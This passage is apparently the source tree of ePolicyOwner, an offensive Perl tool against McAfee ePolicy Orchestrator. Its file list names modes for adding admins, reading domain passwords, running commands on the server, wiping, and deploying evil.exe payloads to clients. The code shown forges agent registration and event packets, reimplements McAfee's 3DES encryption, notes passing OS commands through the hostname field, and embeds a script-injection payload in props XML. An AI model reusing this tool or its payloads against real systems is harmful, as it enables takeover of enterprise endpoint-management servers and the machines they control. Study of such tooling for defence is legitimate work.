├── Epowner ├── 3DES.pm ├── AES.pm ├── BuildStructEvent.pm ├── BuildStructFullProps.pm ├── BuildStructRegister.pm ├── Cab │ ├── Cab.pm │ ├── Cab.pm.save │ ├── Helpers.pm │ └── Structs.pm ├── CabSign │ └── CabSign.pm ├── Catalog.pm ├── Compress.pm ├── Config.pm ├── DSA.pm ├── Epo.pm ├── HTTP.pm ├── ModeAddAdmin.pm ├── ModeCheck.pm ├── ModeClientDeploy.pm ├── ModeCommon.pm ├── ModeDomainPasswd.pm ├── ModeGatherInfo.pm ├── ModeReadDB.pm ├── ModeRegister.pm ├── ModeSQL.pm ├── ModeServerExec.pm ├── ModeServerUpload.pm ├── ModeWipe.pm ├── PkgCatalog.pm ├── Print.pm ├── RSA.pm ├── SQL.pm ├── StringsManipulation.pm ├── TomcatAutomaticResponses.pm └── TomcatLogin.pm ├── README ├── README.md ├── cli-deploy-templates ├── README.txt ├── custom0_cmd │ └── run.bat ├── custom0_file │ ├── evil.exe │ └── run.bat └── custom1 │ ├── evil.dll │ ├── evil.exe │ └── run.bat ├── ePolicyOwner.pl ├── fingerprinting ├── http-epo-fingerprint.nse └── ssl-fingerprint.txt ├── lib ├── Crypt │ ├── PPDES.pm │ └── TripleDES.pm ├── LWP-Protocol-https-6.03.tar.gz └── LWP-Protocol-socks-1.6.tar.gz └── tools ├── DumpKey0000000000000.class ├── DumpKey0000000000000.java ├── README.txt └── unzip.exe /Epowner/3DES.pm: -------------------------------------------------------------------------------- 1 | 2 | 3 | package Epowner::Epo; 4 | 5 | use Crypt::TripleDES; 6 | 7 | use strict; 8 | use warnings; 9 | 10 | #============================================================# 11 | # McAfee 3DES encryption # 12 | #============================================================# 13 | sub mcafee_3des_encrypt { 14 | 15 | # McAfee 3DES = XOR8 + 3DES + tags 16 | 17 | my $input = shift; 18 | my $key_hex = shift; 19 | 20 | # padding to 3DES block size (3DES block len is 8) 21 | my $padding_len = length($input)%8; 22 | $input .= "\x00" x (8 - $padding_len) ; 23 | 24 | # XOR8 25 | $input = xor8_encode($input, 0x54); 26 | 27 | # Encrypt 28 | my $des = new Crypt::TripleDES; 29 | my $data_encrypted = $des->encrypt3 ($input, $key_hex ); 30 | $data_encrypted = 31 | "\x45\x50\x4f\x00" . # tag ? 32 | "\x02\x00\x00\x00" . # tag ? 33 | pack("V", length($data_encrypted)) . # len of encrypted data 34 | $data_encrypted ; 35 | 36 | 37 | return $data_encrypted; 38 | } 39 | 40 | #============================================================# 41 | # McAfee 3DES decryption # 42 | #============================================================# 43 | sub mcafee_3des_decrypt { 44 | 45 | # McAfee 3DES = XOR8 + 3DES + tags 46 | 47 | my $input = shift; 48 | my $key_hex = shift; 49 | 50 | # skip tags 51 | $input = substr($input, 12); 52 | 53 | # decrypt 54 | my $des = new Crypt::TripleDES; 55 | my $data_decrypted = $des->decrypt3 ($input, $key_hex ); 56 | 57 | # XOR8 58 | $data_decrypted = xor8_decode($data_decrypted, 0x54); 59 | 60 | return $data_decrypted; 61 | } 62 | 63 | 64 | 1; 65 | -------------------------------------------------------------------------------- /Epowner/AES.pm: -------------------------------------------------------------------------------- 1 | package Epowner::Epo; 2 | 3 | use Crypt::Rijndael; 4 | 5 | use strict; 6 | use warnings; 7 | 8 | 9 | 10 | #============================================================# 11 | # AES-ECB decryption # 12 | #============================================================# 13 | sub aes_ecb_decrypt { 14 | my $this = shift; 15 | my $encrypted = shift; 16 | my $aes_key = shift; 17 | 18 | my $aes = Crypt::Rijndael->new( $aes_key, Crypt::Rijndael::MODE_ECB() ); 19 | my $decrypted = $aes->decrypt($encrypted); 20 | 21 | my $last_byte = unpack("C",substr($decrypted,-1)); # take the last byte (contains the padding length) 22 | my $aes_key_len = length($aes_key); 23 | 24 | if($last_byte < $aes_key_len){ 25 | # ok, $last_byte contains the padding length 26 | $decrypted = substr($decrypted, 0, length($decrypted) - $last_byte); 27 | } 28 | 29 | return $decrypted; 30 | } 31 | 32 | 33 | 34 | 1; 35 | -------------------------------------------------------------------------------- /Epowner/BuildStructEvent.pm: -------------------------------------------------------------------------------- 1 | package Epowner::Epo; 2 | 3 | use Crypt::OpenSSL::DSA; 4 | use MIME::Base64; 5 | use Digest::SHA qw(sha1 sha1_hex); 6 | 7 | use strict; 8 | use warnings; 9 | 10 | 11 | #============================================================# 12 | # Event request : Header1 # 13 | #============================================================# 14 | sub build_struct_event_header1{ 15 | 16 | my $this = shift; 17 | 18 | print " [+] Building binary header 1\n" if $this->{verbose}; 19 | 20 | $this->{binary_header1} = 21 | "\x50\x4f" . 22 | # packet type 23 | "\x01\x00\x00\x60" . 24 | # header len (binary_header1 + binary_header2) 25 | "WWWW" . 26 | "\x01\x00\x00\x00\x00\x00\x00\x00" . 27 | # data_len 28 | "ZZZZ" . 29 | # GUID 30 | $this->{agent_guid} . 31 | # unknown 32 | "\x00\x00\x00\x00" . 33 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . 34 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . 35 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . 36 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . 37 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . 38 | "\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00" . 39 | # hostname 40 | $this->{agent_hostname} . 41 | # hostname padding 42 | "\x00" x (32 - length($this->{agent_hostname})) . 43 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . 44 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . 45 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" ; 46 | 47 | } 48 | 49 | 50 | #============================================================# 51 | # Event Request : Header2 # 52 | #============================================================# 53 | sub build_struct_event_header2{ 54 | 55 | my $this = shift; 56 | 57 | print " [+] Building binary header 2\n" if $this->{verbose}; 58 | 59 | # Generate transaction ID 60 | my $transaction_guid = generate_guid(); 61 | 62 | # increment Sequence number 63 | $this->{agent_seqnum}++; 64 | $this->config_save_seqnum_only(); 65 | 66 | 67 | # build 68 | $this->{binary_header2} = 69 | "\x0c\x00\x00\x00" . "ComputerName" . pack("V", length($this->{agent_hostname})) . $this->{agent_hostname} . 70 | "\x19\x00\x00\x00" . "GuidRegenerationSupported" . pack("V", length("1")) . "1" . 71 | "\x0b\x00\x00\x00" . "PackageType" . pack("V", length("Event")) ."Event" . 72 | "\x0e\x00\x00\x00" . "SequenceNumber" . pack("V", length($this->{agent_seqnum})) . $this->{agent_seqnum} . 73 | "\x0d\x00\x00\x00" . "ServerKeyHash" . pack("V", length($this->{server_pubkeyhash})) .$this->{server_pubkeyhash} . 74 | "\x0f\x00\x00\x00" . "SiteinfoVersion" . pack("V", length("10")) . "10" . 75 | "\x15\x00\x00\x00" . "SupportedSPIPEVersion" . pack("V", length("3.0;4.0;5.0;6.0")) . "3.0;4.0;5.0;6.0". 76 | "\x0f\x00\x00\x00" . "TransactionGUID" . pack("V", length($transaction_guid)) . $transaction_guid ; 77 | 78 | } 79 | 80 | 81 | 82 | #============================================================# 83 | # Event request : Event part # 84 | #============================================================# 85 | sub build_struct_event_event { 86 | 87 | my $this = shift; 88 | my $hostname = shift || $this->{agent_hostname}; # hostname can be used during --srv-exec, to pass the os command. 89 | # Max length: 266 chars 90 | my $filename = shift || "20121210121340871913800000D61.xml"; 91 | my $filename_len = pack("v", length($filename)); # length of file name in WORD 92 | 93 | my $xml_content = shift || << "EOF"; 94 | 95 | 96 | 97 | 98 | 99 | $this->{agent_guid} 100 | $this->{agent_ip} 101 | WXPW 102 | user 103 | -60 104 | $this->{agent_mac} 105 | 106 | 107 | 108 | 2412 109 | 0 110 | 2012-12-10T11:14:31 111 | EPOAGENT3000 112 | 080c 113 | N/A 114 | 26 115 | N/A 116 | N/A 117 | EPOAGENT3000 118 | DeploymentTask 119 | 120 | 121 | 122 | EOF 123 | print " [+] Building Event XML content\n" if $this->{verbose}; 124 | 125 | $this->{event_xml} = $xml_content; 126 | 127 | print " [+] Packing XML\n" if $this->{verbose}; 128 | $this->{event_xml} = 129 | "\x01\x00" . # tag 130 | $filename_len . # len of filename 131 | $filename . # filename 132 | pack("V",length($this->{event_xml})) . # len of XML 133 | $this->{event_xml}; # XML content 134 | 135 | } 136 | 137 | 138 | 139 | 1; 140 | -------------------------------------------------------------------------------- /Epowner/BuildStructFullProps.pm: -------------------------------------------------------------------------------- 1 | package Epowner::Epo; 2 | 3 | use Crypt::OpenSSL::DSA; 4 | use MIME::Base64; 5 | use Digest::SHA qw(sha1 sha1_hex); 6 | 7 | use strict; 8 | use warnings; 9 | 10 | 11 | 12 | #============================================================# 13 | # FULL PROPS reauest : Header1 # 14 | #============================================================# 15 | sub build_struct_fullprops_header1{ 16 | 17 | my $this = shift; 18 | 19 | print " [+] Building binary header 1\n" if $this->{verbose}; 20 | 21 | $this->{binary_header1} = 22 | "\x50\x4f" . 23 | # packet type 24 | "\x01\x00\x00\x60" . 25 | # header len (binary_header1 + binary_header2) 26 | "WWWW" . 27 | "\x01\x00\x00\x00\x00\x00\x00\x00" . 28 | # data_len 29 | "ZZZZ" . 30 | # GUID 31 | $this->{agent_guid} . 32 | # unknown 33 | "\x00\x00\x00\x00" . 34 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . 35 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . 36 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . 37 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . 38 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . 39 | "\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00" . 40 | # hostname 41 | $this->{agent_hostname} . 42 | # hostname padding 43 | "\x00" x (32 - length($this->{agent_hostname})) . 44 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . 45 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . 46 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" ; 47 | 48 | } 49 | 50 | 51 | #============================================================# 52 | # FULL PROPS reauest : Header2 # 53 | #============================================================# 54 | sub build_struct_fullprops_header2{ 55 | 56 | my $this = shift; 57 | 58 | print " [+] Building binary header 2\n" if $this->{verbose}; 59 | 60 | # Generate transaction ID 61 | my $transaction_guid = generate_guid(); 62 | 63 | # increment Sequence number 64 | $this->{agent_seqnum}++; 65 | 66 | # save the new seqnum 67 | $this->config_save_seqnum_only(); 68 | 69 | 70 | # build 71 | $this->{binary_header2} = 72 | "\x0e\x00\x00\x00" . "AssignmentList" . pack("V", length("P={4;6;8;a} T={1;2}")) . "P={4;6;8;a} T={1;2}" . 73 | "\x0c\x00\x00\x00" . "ComputerName" . pack("V", length($this->{agent_hostname})) . $this->{agent_hostname} . 74 | "\x12\x00\x00\x00" . "EventFilterVersion" . pack("V", length("3001")) . "3001" . 75 | "\x19\x00\x00\x00" . "GuidRegenerationSupported" . pack("V", length("1")) . "1" . 76 | "\x09\x00\x00\x00" . "IPAddress" . pack("V", length($this->{agent_ip})) . $this->{agent_ip} . 77 | "\x0a\x00\x00\x00" . "NETAddress" . pack("V", length($this->{agent_mac})) . $this->{agent_mac} . 78 | "\x0b\x00\x00\x00" . "PackageType" . pack("V", length("FullProps")) ."FullProps" . 79 | "\x0a\x00\x00\x00" . "PlatformID" . pack("V", length("WXPW:5:1:3")) . "WXPW:5:1:3". 80 | "\x0d\x00\x00\x00" . "PolicyVersion" . pack("V", length("20401119214747")) . "20401119214747". 81 | "\x0c\x00\x00\x00" . "PropsVersion" . pack("V", length("20401119214747")) ."20401119214747" . 82 | "\x12\x00\x00\x00" . "RepoKeyHashVersion" . pack("V", length("20401119214747")) . "20401119214747" . 83 | "\x0e\x00\x00\x00" . "SequenceNumber" . pack("V", length($this->{agent_seqnum})) . $this->{agent_seqnum} . 84 | "\x0d\x00\x00\x00" . "ServerKeyHash" . pack("V", length($this->{server_pubkeyhash})) .$this->{server_pubkeyhash} . 85 | "\x0f\x00\x00\x00" . "SiteinfoVersion" . pack("V", length("10")) . "10" . 86 | "\x15\x00\x00\x00" . "SupportedSPIPEVersion" . pack("V", length("3.0;4.0;5.0;6.0")) . "3.0;4.0;5.0;6.0". 87 | "\x0b\x00\x00\x00" . "TaskVersion" . pack("V", length("1")) . "1". 88 | "\x0f\x00\x00\x00" . "TransactionGUID" . pack("V", length($transaction_guid)) . $transaction_guid . 89 | "\x05\x00\x00\x00" . "User1" . pack("V", length("dom\\administrator,0")) . "dom\\administrator,0" . 90 | "\x13\x00\x00\x00" . "UserAssignmentCount" . pack("V", length("1")) . "1"; 91 | 92 | 93 | } 94 | 95 | 96 | 97 | #============================================================# 98 | # FULL PROPS : FullProps XML # 99 | #============================================================# 100 | sub build_struct_fullprops_props { 101 | 102 | my $this = shift; 103 | my $guid_injection = shift; 104 | 105 | print " [+] Building FullProps XML content\n" if $this->{verbose}; 106 | 107 | $this->{props_xml} = << "EOF"; 108 | 109 | 110 | 111 | N/A 112 | 1599 113 | Intel(R) Atom(TM) CPU 330 @ 1.60GHz 114 | N/A 115 | $this->{agent_hostname} 116 | 0409 117 | WORKGROUP 118 | WXPW 119 | 13098,00 120 | 345198592 121 | 13098,00 122 | $this->{agent_ip} 123 | $this->{agent_hostname} 124 | N/A 125 | 0 126 | 12/05/2012 23:09:35 127 | $this->{agent_mac} 128 | 1 129 | 1 130 | 0 131 | 2600 132 | Service Pack 3 133 | 134 | Professional 135 | Windows XP 136 | 5.1 137 | WXPW:5:1:3 138 | $this->{agent_subnet} 139 | $this->{agent_netmask} 140 | Romance Standard Time 141 | 15351,00 142 | 527941632 143 | 15351,00 144 | user 145 | 146 | 147 |
148 | 8082 149 | 150 | 9081 151 | 60 152 | 0409 153 | 4.5.0.1810 154 | 5 155 | -1 156 | $this->{server_pubkeyhash} 157 | 1 158 | 1 159 | 160 | 1 161 | 0 162 | 0 163 | C:\\Program Files\\McAfee\\Common Framework 164 | 4.5.0.1810 165 |
166 |
167 | 168 |
169 | 0000 170 | 4.5.0.1810 171 | C:\\Program Files\\McAfee\\Common Framework 172 |
173 |
174 |
175 | EOF 176 | 177 | print " [+] Packing XML\n" if $this->{verbose}; 178 | $this->{props_xml} = 179 | "\x01\x00\x09\x00" . # tag ? 180 | "Props.xml" . 181 | pack("V",length($this->{props_xml})) . # len of XML 182 | $this->{props_xml}; 183 | 184 | } 185 | 186 | 187 | 188 | 1; 189 | -------------------------------------------------------------------------------- /Epowner/BuildStructRegister.pm: -------------------------------------------------------------------------------- 1 | package Epowner::Epo; 2 | 3 | use HTTP::Request; 4 | use Crypt::OpenSSL::DSA; 5 | use MIME::Base64; 6 | use Digest::SHA qw(sha1 sha1_hex); 7 | 8 | use strict; 9 | use warnings; 10 | 11 | 12 | #============================================================# 13 | # Register Request : Header1 # 14 | #============================================================# 15 | sub build_struct_register_header1{ 16 | 17 | my $this = shift; 18 | 19 | print " [+] Building binary header 1\n" if $this->{verbose}; 20 | 21 | $this->{binary_header1} = 22 | "\x50\x4f" . 23 | # packet type 24 | "\x01\x00\x00\x50" . 25 | # header len (binary_header1 + binary_header2) 26 | "WWWW" . 27 | "\x02\x00\x00\x00\x00\x00\x00\x00" . 28 | # data_len 29 | "ZZZZ" . 30 | # GUID 31 | $this->{agent_guid} . 32 | # unknown 33 | "\x00\x00\x00\x00" . 34 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . 35 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . 36 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . 37 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . 38 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . 39 | "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00" . 40 | # hostname 41 | $this->{agent_hostname} . 42 | # hostname padding 43 | "\x00" x (32 - length($this->{agent_hostname})) . 44 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . 45 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" . 46 | "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" ; 47 | 48 | } 49 | 50 | 51 | #============================================================# 52 | # Register Request : Header2 # 53 | #============================================================# 54 | sub build_struct_register_header2{ 55 | 56 | my $this = shift; 57 | 58 | print " [+] Building binary header 2\n" if $this->{verbose}; 59 | 60 | my $transaction_guid = generate_guid(); 61 | 62 | $this->{binary_header2} = 63 | "\x0e\x00\x00\x00" . "AssignmentList" . pack("V", length("0")) . "0" . 64 | "\x0c\x00\x00\x00" . "ComputerName" . pack("V", length($this->{agent_hostname})) . $this->{agent_hostname} . 65 | "\x0a\x00\x00\x00" . "DomainName" . pack("V", length("WORKGROUP")) . "WORKGROUP" . 66 | "\x12\x00\x00\x00" . "EventFilterVersion" . pack("V", length("0")) . "0" . 67 | "\x19\x00\x00\x00" . "GuidRegenerationSupported" . pack("V", length("1")) . "1" . 68 | "\x09\x00\x00\x00" . "IPAddress" . pack("V", length($this->{agent_ip})) . $this->{agent_ip} . 69 | "\x0a\x00\x00\x00" . "NETAddress" . pack("V", length($this->{agent_mac})) . $this->{agent_mac} . 70 | "\x0b\x00\x00\x00" . "PackageType" . pack("V", length("AgentPubKey")) ."AgentPubKey" . 71 | "\x0a\x00\x00\x00" . "PlatformID" . pack("V", length("WXPW:5:1:3")) . "WXPW:5:1:3". 72 | "\x0d\x00\x00\x00" . "PolicyVersion" . pack("V", length("0")) . "0". 73 | "\x0c\x00\x00\x00" . "PropsVersion" . pack("V", length("20401119214747")) ."20401119214747" . 74 | "\x12\x00\x00\x00" . "RepoKeyHashVersion" . pack("V", length("0")) . "0" . 75 | "\x0e\x00\x00\x00" . "SequenceNumber" . pack("V", length("1")) . "1" . 76 | "\x0d\x00\x00\x00" . "ServerKeyHash" . pack("V", length($this->{server_pubkeyhash})) .$this->{server_pubkeyhash} . 77 | "\x0f\x00\x00\x00" . "SiteinfoVersion" . pack("V", length("0")) . "0" . 78 | "\x15\x00\x00\x00" . "SupportedSPIPEVersion" . pack("V", length("3.0;4.0;5.0;6.0")) . "3.0;4.0;5.0;6.0". 79 | "\x0b\x00\x00\x00" . "TaskVersion" . pack("V", length("0")) . "0". 80 | "\x0f\x00\x00\x00" . "TransactionGUID" . pack("V", length($transaction_guid)) . $transaction_guid . 81 | "\x05\x00\x00\x00" . "User1" . pack("V", length("dom\\administrator,0")) . "dom\\administrator,0" . 82 | "\x13\x00\x00\x00" . "UserAssignmentCount" . pack("V", length("1")) . "1"; 83 | 84 | 85 | } 86 | 87 | 88 | 89 | #============================================================# 90 | # Register Request : Full props # 91 | #============================================================# 92 | sub build_struct_register_fullprops { 93 | 94 | my $this = shift; 95 | 96 | print " [+] Building FullProps XML content\n" if $this->{verbose}; 97 | 98 | $this->{props_xml} = << "EOF"; 99 | 100 | 101 | 102 | N/A 103 | 1599 104 | Intel(R) Atom(TM) CPU 330 @ 1.60GHz 105 | N/A 106 | $this->{agent_hostname} 107 | 080c 108 | WORKGROUP 109 | WXPW 110 | 13098,00 111 | 345198592 112 | 13098,00 113 | $this->{agent_ip} 114 | $this->{agent_hostname} 115 | N/A 116 | 0 117 | 12/05/2012 23:09:35 118 | $this->{agent_mac} 119 | 1 120 | 1 121 | 0 122 | 2600 123 | Service Pack 3 124 | 125 | Professional 126 | alert(1)]]>Windows XP 127 | 5.1 128 | WXPW:5:1:3 129 | $this->{agent_subnet} 130 | $this->{agent_netmask} 131 | Romance Standard Time 132 | 15351,00 133 | 527941632 134 | 15351,00 135 | user 136 | 137 | 138 |
139 | 8082 140 | $this->{agent_guid} 141 | 8081 142 | 60 143 | 040C 144 | 4.5.0.1810 145 | 5 146 | -1 147 | $this->{server_pubkeyhash} 148 | 1 149 | 1 150 | 151 | 1 152 | 0 153 | 0 154 | C:\\Program Files\\McAfee\\Common Framework 155 | 4.5.0.1810 156 |
157 |
158 | 159 |
160 | 0000 161 | 4.5.0.1810 162 | C:\\Program Files\\McAfee\\Common Framework 163 |
164 |
165 |
166 | EOF 167 | 168 | print " [+] Packing XML\n" if $this->{verbose}; 169 | $this->{props_xml} = 170 | "\x02\x00\x09\x00" . # tag ? 171 | "Props.xml" . 172 | pack("V",length($this->{props_xml})) . # len of XML 173 | $this->{props_xml}; 174 | 175 | } 176 | 177 | 1; 178 | -------------------------------------------------------------------------------- /Epowner/Cab/Cab.pm: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl -w 2 | package Epowner::Cab::Cab; 3 | 4 | # very simple makecab code. Only support one file in cab 5 | 6 | use File::Basename; 7 | 8 | use Epowner::Cab::Structs; 9 | use Epowner::Cab::Helpers; 10 | 11 | 12 | sub new{ 13 | my $this = {}; 14 | 15 | my ($class, $lcab_path, $cabextract_path) = @_; # get the parameters 16 | 17 | $this->{'cheader'} = ''; 18 | $this->{'cfolder'} = ''; 19 | $this->{'cfile'} = ''; 20 | $this->{'cdata'} = ''; 21 | 22 | $this->{'cabextract_path'} = $cabextract_path || ''; 23 | $this->{'lcab_path'} = $lcab_path || ''; 24 | 25 | bless $this, $class; 26 | return $this 27 | } 28 | 29 | 30 | sub makecab { 31 | my $this = shift; 32 | my $filename = shift; # input file 33 | my $outfile = shift; # guess what 34 | my $remove_path = shift || 0; 35 | 36 | if(not -e $filename){ 37 | print "[-] ERROR (makecab): file '$filename' not found\n"; 38 | exit; 39 | } 40 | 41 | my $lcab = $this->{lcab_path}; 42 | unlink $outfile; #if any .. 43 | 44 | system("$lcab -n $filename $outfile 2>&1 1>/dev/null"); 45 | 46 | if (not -f $outfile){ 47 | print "[-] ERROR (makecab): lcab failure.. ($lcab -n $filename $outfile)\n"; 48 | exit; 49 | } 50 | 51 | } 52 | 53 | 54 | sub extractcab { 55 | my $this = shift; 56 | my $cabfile_path = shift; 57 | my $outfile = shift; 58 | 59 | 60 | my ($out_name,$out_path) = fileparse($outfile); 61 | 62 | # ePo sometimes use LZX compression :( 63 | # lets use cab extract... 64 | my $cabextract = $this->{cabextract_path}; 65 | 66 | unlink $outfile; #if any .. 67 | system("$cabextract -q -F catalog.xml -L -d $out_path $cabfile_path 2>/dev/null"); 68 | 69 | if (not -f $outfile){ 70 | print "[-] ERROR (extractcab): cabextract failure.. ($cabextract -q -F catalog.xml -L -d $out_path $cabfile_path)\n"; 71 | exit; 72 | } 73 | 74 | } 75 | 76 | 77 | 78 | 79 | sub extractcab_UNCOMPLETE { 80 | my $this = shift; 81 | my $cabfile_path = shift; 82 | my $outfile = shift; 83 | 84 | # read cab file 85 | my $cab_content=''; 86 | open (IN, "$cabfile_path") or die "cab in: $!\n"; 87 | read (IN,$cab_content, -s IN); 88 | close IN; 89 | 90 | 91 | my $cdata_size = 8; # default length when flags = 0x0000 92 | # flags 93 | my $cheader_flags = unpack ("v",substr($cab_content, 30, 2)); 94 | if($cheader_flags & 0x004) { $cdata_size+=1; } 95 | 96 | # offsets 97 | my $first_cfile_offset = unpack ("V",substr($cab_content,16,4)); 98 | my $first_cfolder_offset = $first_cfile_offset - 8; # in real situation, this could be wrong 99 | my $first_cdata_offset = unpack ("v",substr($cab_content, $first_cfolder_offset ,4)); 100 | 101 | # compression info 102 | my $compression_type_offset = $first_cfolder_offset + 6; 103 | my $compression_type = unpack ("v",substr($cab_content, $compression_type_offset ,2)); 104 | 105 | my $cdata_ncbytes = unpack ("v",substr($cab_content, $first_cdata_offset + 4 ,2)); 106 | my $cdata_nubytes = unpack ("v",substr($cab_content, $first_cdata_offset + 6 ,2)); 107 | 108 | 109 | # CDATA content 110 | my $cdata_content = substr($cab_content, $first_cdata_offset + $cdata_size ,$cdata_ncbytes); 111 | 112 | #print "cheader_flags : $cheader_flags\n"; 113 | print "first_cfile_offset : $first_cfile_offset\n"; 114 | print "first_cfolder_offset: $first_cfolder_offset\n"; 115 | print "first_cdata_offset : $first_cdata_offset\n"; 116 | print "compression type : $compression_type\n"; 117 | print "ncbytes : $cdata_ncbytes\n"; 118 | print "nubytes : $cdata_nubytes\n"; 119 | 120 | 121 | #---------------------------------------------------------- 122 | # HO ! ePo use LZX compression (not always). 123 | # No LZX Perl module available and I start to be tired ... 124 | #---------------------------------------------------------- 125 | 126 | #my $buf = $cdata_content; 127 | #for(my $i=0;$icheader_init(1,$nof,0,1234,0); 164 | $this->cheader_offsetfiles(0x2C); 165 | 166 | my $nod = $this->number_of_datablocks($filename); 167 | 168 | # HEADER SIZE PART 1 169 | my $mysize2 = 0x2C + $nof*16; 170 | $mysize2 += length($file) + 1; 171 | $mysize2 += $nod*8; 172 | 173 | # FOLDER 174 | $this->cfolder_init( $nod ); 175 | my $offsetdata = 16 + length($file) + 1; 176 | $this->cfolder_offsetdata(0x2C + $offsetdata); 177 | 178 | 179 | # file size 180 | my $mysize = $this->sizefile($filename); 181 | 182 | 183 | # DATABLOCKS 184 | $this->cdata_init( 0 ); 185 | # we assume "mysize < DATABLOCKSIZE" 186 | if ($mysize >= 32768) { print "cab error: mysize >= 32768\n"; exit;} 187 | $this->cdata_ncbytes( $mysize ); 188 | $this->cdata_nubytes( $mysize ); 189 | $mysize2 += $mysize; 190 | 191 | 192 | # HEADER SIZE PART 2 193 | $this->cheader_size( $mysize2 ); 194 | $mysize += $this->sizefile($filename); 195 | 196 | # FILES 197 | $this->cfile_init( $this->sizefile($filename) , 0, $file); 198 | $this->cfile_uoffset( 0 ); 199 | 200 | # WRITE 201 | open (OUT, ">$outfile") or die "$outfile: $!\n"; 202 | #cheaderwrite 203 | print OUT $this->{'cheader'}; 204 | print OUT $this->{'cfolder'}; 205 | print OUT $this->{'cfile'}; 206 | print OUT $this->{'cdata'}; 207 | 208 | my $cabin=''; 209 | open (IN, "$filename") or die "cab in: $!\n"; 210 | read (IN,$cabin, -s IN); 211 | 212 | print OUT $cabin; 213 | close OUT; 214 | close IN; 215 | } 216 | 217 | 218 | 219 | 1; 220 | -------------------------------------------------------------------------------- /Epowner/Cab/Cab.pm.save: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl -w 2 | package Epowner::Cab::Cab; 3 | 4 | # very simple makecab code. Only support one file in cab 5 | 6 | use File::Basename; 7 | 8 | use Epowner::Cab::Structs; 9 | use Epowner::Cab::Helpers; 10 | 11 | 12 | sub new{ 13 | my $this = {}; 14 | 15 | my ($class) = @_; # get the parameters 16 | 17 | $this->{'cheader'} = ''; 18 | $this->{'cfolder'} = ''; 19 | $this->{'cfile'} = ''; 20 | $this->{'cdata'} = ''; 21 | 22 | bless $this, $class; 23 | return $this 24 | } 25 | 26 | 27 | sub extractcab { 28 | my $this = shift; 29 | my $cabfile_path = shift; 30 | my $outfile = shift; 31 | 32 | # read cab file 33 | my $cab_content=''; 34 | open (IN, "$cabfile_path") or die "cab in: $!\n"; 35 | read (IN,$cab_content, -s IN); 36 | close IN; 37 | 38 | 39 | 40 | 41 | # offsets 42 | my $first_cfile_offset = unpack ("V",substr($cab_content,16,4)); 43 | my $first_cfolder_offset = $first_cfile_offset - 8; # in real situation, this could be wrong 44 | my $first_cdata_offset = unpack ("v",substr($cab_content, $first_cfolder_offset ,4)); 45 | 46 | # compression info 47 | my $compression_type_offset = $first_cfolder_offset + 6; 48 | my $compression_type = unpack ("v",substr($cab_content, $compression_type_offset ,2)); 49 | 50 | my $cdata_ncbytes = unpack ("v",substr($cab_content, $first_cdata_offset + 4 ,2)); 51 | my $cdata_nubytes = unpack ("v",substr($cab_content, $first_cdata_offset + 6 ,2)); 52 | 53 | 54 | # CDATA content 55 | my $cdata_content = substr($cab_content, $first_cdata_offset + $cdata_size ,$cdata_ncbytes); 56 | 57 | #print "cheader_flags : $cheader_flags\n"; 58 | print "first_cfile_offset : $first_cfile_offset\n"; 59 | print "first_cfolder_offset: $first_cfolder_offset\n"; 60 | print "first_cdata_offset : $first_cdata_offset\n"; 61 | print "compression type : $compression_type\n"; 62 | print "ncbytes : $cdata_ncbytes\n"; 63 | print "nubytes : $cdata_nubytes\n"; 64 | 65 | 66 | my $buf = $cdata_content; 67 | #for(my $i=0;$i<16; $i++){ 68 | for(my $i=0;$icheader_init(1,$nof,0,1234,0); 172 | $this->cheader_offsetfiles(0x2C); 173 | 174 | my $nod = $this->number_of_datablocks($filename); 175 | 176 | # HEADER SIZE PART 1 177 | my $mysize2 = 0x2C + $nof*16; 178 | $mysize2 += length($file) + 1; 179 | $mysize2 += $nod*8; 180 | 181 | # FOLDER 182 | $this->cfolder_init( $nod ); 183 | my $offsetdata = 16 + length($file) + 1; 184 | $this->cfolder_offsetdata(0x2C + $offsetdata); 185 | 186 | 187 | # file size 188 | my $mysize = $this->sizefile($filename); 189 | 190 | 191 | # DATABLOCKS 192 | $this->cdata_init( 0 ); 193 | # we assume "mysize < DATABLOCKSIZE" 194 | if ($mysize >= 32768) { print "cab error: mysize >= 32768\n"; exit;} 